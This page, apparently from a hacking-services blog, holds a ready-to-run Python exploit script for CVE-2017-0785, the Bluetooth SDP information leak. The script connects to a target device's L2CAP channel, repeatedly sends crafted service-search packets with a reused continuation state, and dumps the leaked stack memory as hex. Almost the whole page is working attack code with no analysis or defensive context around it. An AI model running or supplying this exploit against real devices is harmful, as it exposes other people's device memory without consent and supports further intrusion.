Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86394750

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
from pwn import *
import bluetooth

if not 'TARGET' in args:
    log.info("Usage: CVE-2017-0785.py TARGET=XX:XX:XX:XX:XX:XX")
    exit()

target = args['TARGET']
service_long = 0x0100
service_short = 0x0001
mtu = 50
n = 30

def packet(service, continuation_state):
    pkt = '\x02\x00\x00'
    pkt += p16(7 + len(continuation_state))
    pkt += '\x35\x03\x19'
    pkt += p16(service)
    pkt += '\x01\x00'
    pkt += continuation_state
    return pkt

p = log.progress('Exploit')
p.status('Creating L2CAP socket')

sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bluetooth.set_l2cap_mtu(sock, mtu)
context.endian = 'big'

p.status('Connecting to target')
sock.connect((target, 1))

p.status('Sending packet 0')
sock.send(packet(service_long, '\x00'))
data = sock.recv(mtu)

if data[-3] != '\x02':
    log.error('Invalid continuation state received.')

stack = ''

for i in range(1, n):
    p.status('Sending packet %d' % i)
    sock.send(packet(service_short, data[-3:]))
    data = sock.recv(mtu)
    stack += data[9:-3]

sock.close()

p.success('Done')

print hexdump(stack)